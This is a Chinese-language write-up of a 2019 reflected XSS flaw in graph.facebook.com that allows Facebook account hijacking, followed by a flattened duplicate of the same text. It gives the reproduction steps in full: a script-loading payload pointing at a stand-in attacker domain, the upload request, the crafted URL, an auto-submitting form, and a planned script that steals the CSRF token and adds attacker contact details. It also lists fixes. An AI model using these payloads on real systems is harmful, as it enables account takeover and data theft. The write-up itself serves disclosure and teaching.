挖洞经验 | 利用graph.facebook.com中的反射型XSS实现Facebook账户劫持
字数 1222 2025-08-18 11:39:11

Facebook Graph API 反射型XSS漏洞分析与利用教学

漏洞概述

本教学文档详细分析graph.facebook.com中存在的反射型XSS漏洞,该漏洞允许攻击者在特定条件下实现Facebook账户劫持。漏洞主要影响IE和Edge浏览器,通过构造恶意链接可诱骗受害者访问并执行恶意脚本。

漏洞技术细节

受影响组件

  • 目标:graph.facebook.com中的API端点
  • 影响浏览器:Internet Explorer和Microsoft Edge(由于MIME类型处理机制不同)

漏洞成因

  1. 不安全的HTML处理:API端点处理HTML代码响应时未实施完善的安全转义措施
  2. 响应头缺失
    • 缺少Content-TypeX-Content-Type-Options
    • 缺少内容安全策略(CSP)限制
  3. 浏览器差异
    • IE/Edge会扫描整个页面确定MIME类型
    • 其他浏览器仅检查前几个字符

漏洞复现步骤

1. 准备恶意Payload

构造包含外部JS引用的HTML代码:

<html><body><script src=//DOMAIN.com/script.js></script></body></html>

2. 上传恶意文件

发送POST请求到graph.facebook.com:

POST /app/uploads HTTP/1.1
Host: graph.facebook.com
access_token=ACCESS_TOKEN&file_length=100&file_type=PAYLOAD

参数说明:

  • ACCESS_TOKEN:有效的Facebook用户访问令牌(可从Facebook for Android应用获取)
  • PAYLOAD:步骤1中的HTML代码

3. 获取会话ID

服务器响应示例:

{
  "id": "upload:MTphdHRhY2htZW50Ojlk2mJiZxUwLWV6MDUtNDIwMy05yTA3LWQ4ZDPmZGFkNTM0NT8=?sig=ARZqkGCA_uQMxC8nHKI"
}

4. 构造恶意链接

利用返回的编码串构造攻击URL:

https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s

5. 创建攻击页面

构造自动提交表单的HTML页面:

<html>
<body>
<form action="https://graph.facebook.com/upload:MTphdHRhY2htZW50OjZiZnNjNmYxLTljY2MtNDQxNi05YzM1LTFlc2YyMmI5OGlmYz9maWxlX2xlbmd0aD0wJmZpbGVfdHlwZT08aHRtbD48Y**keT48c2NyaXB0IHNyYz0vL0RPTUFJTi5jb20vc2NyaXB0LmpzID48L3NjcmlwdD48L2JvZHk+PC9odG1sPg==?sig=ARaCDqLfwoeI8V3s&access_token=MY_ACCESS_TOKEN" method="POST">
  <input name="random_" value="random">
  <input type="submit" value="Submit" />
</form>
<script type="text/javascript">
  document.forms[0].submit();
</script>
</body>
</html>

6. 恶意脚本功能

https://DOMAIN.com/script.js应实现以下功能:

  1. 窃取受害者的fb_dtsg CSRF token
  2. https://www.facebook.com/api/graphql/发送请求
  3. 添加攻击者控制的手机号或邮箱地址到受害者账户

漏洞利用效果

成功利用此漏洞可实现:

  • 窃取用户敏感信息
  • 添加攻击者控制的联系方式到受害者账户
  • 最终实现Facebook账户劫持

防御措施

修复建议

  1. 输入处理

    • file_type参数中加入对HTML代码的安全转义
    • 实施严格的输入验证
  2. 响应头设置

    • 添加Content-type: application/json
    • 设置X-Content-Type-Options: nosniff
  3. 其他安全措施

    • 实施内容安全策略(CSP)
    • 对敏感操作增加二次验证

用户防护

  • 避免使用IE/Edge浏览器访问可疑链接
  • 定期检查账户绑定的联系方式
  • 开启Facebook的双因素认证

漏洞披露时间线

  • 发现并报告时间:2019年
  • 修复时间:未明确说明(需参考Facebook官方公告)

总结

本漏洞展示了API端点中不安全的HTML处理和响应头配置可能导致的严重后果。开发人员应始终遵循安全编码实践,对所有用户输入进行严格验证和转义,并正确配置安全相关的HTTP头。

Facebook Graph API 反射型XSS漏洞分析与利用教学 漏洞概述 本教学文档详细分析graph.facebook.com中存在的反射型XSS漏洞,该漏洞允许攻击者在特定条件下实现Facebook账户劫持。漏洞主要影响IE和Edge浏览器,通过构造恶意链接可诱骗受害者访问并执行恶意脚本。 漏洞技术细节 受影响组件 目标:graph.facebook.com中的API端点 影响浏览器:Internet Explorer和Microsoft Edge(由于MIME类型处理机制不同) 漏洞成因 不安全的HTML处理 :API端点处理HTML代码响应时未实施完善的安全转义措施 响应头缺失 : 缺少 Content-Type 或 X-Content-Type-Options 头 缺少内容安全策略(CSP)限制 浏览器差异 : IE/Edge会扫描整个页面确定MIME类型 其他浏览器仅检查前几个字符 漏洞复现步骤 1. 准备恶意Payload 构造包含外部JS引用的HTML代码: 2. 上传恶意文件 发送POST请求到graph.facebook.com: 参数说明: ACCESS_TOKEN :有效的Facebook用户访问令牌(可从Facebook for Android应用获取) PAYLOAD :步骤1中的HTML代码 3. 获取会话ID 服务器响应示例: 4. 构造恶意链接 利用返回的编码串构造攻击URL: 5. 创建攻击页面 构造自动提交表单的HTML页面: 6. 恶意脚本功能 https://DOMAIN.com/script.js 应实现以下功能: 窃取受害者的 fb_dtsg CSRF token 向 https://www.facebook.com/api/graphql/ 发送请求 添加攻击者控制的手机号或邮箱地址到受害者账户 漏洞利用效果 成功利用此漏洞可实现: 窃取用户敏感信息 添加攻击者控制的联系方式到受害者账户 最终实现Facebook账户劫持 防御措施 修复建议 输入处理 : 在 file_type 参数中加入对HTML代码的安全转义 实施严格的输入验证 响应头设置 : 添加 Content-type: application/json 头 设置 X-Content-Type-Options: nosniff 其他安全措施 : 实施内容安全策略(CSP) 对敏感操作增加二次验证 用户防护 避免使用IE/Edge浏览器访问可疑链接 定期检查账户绑定的联系方式 开启Facebook的双因素认证 漏洞披露时间线 发现并报告时间:2019年 修复时间:未明确说明(需参考Facebook官方公告) 总结 本漏洞展示了API端点中不安全的HTML处理和响应头配置可能导致的严重后果。开发人员应始终遵循安全编码实践,对所有用户输入进行严格验证和转义,并正确配置安全相关的HTTP头。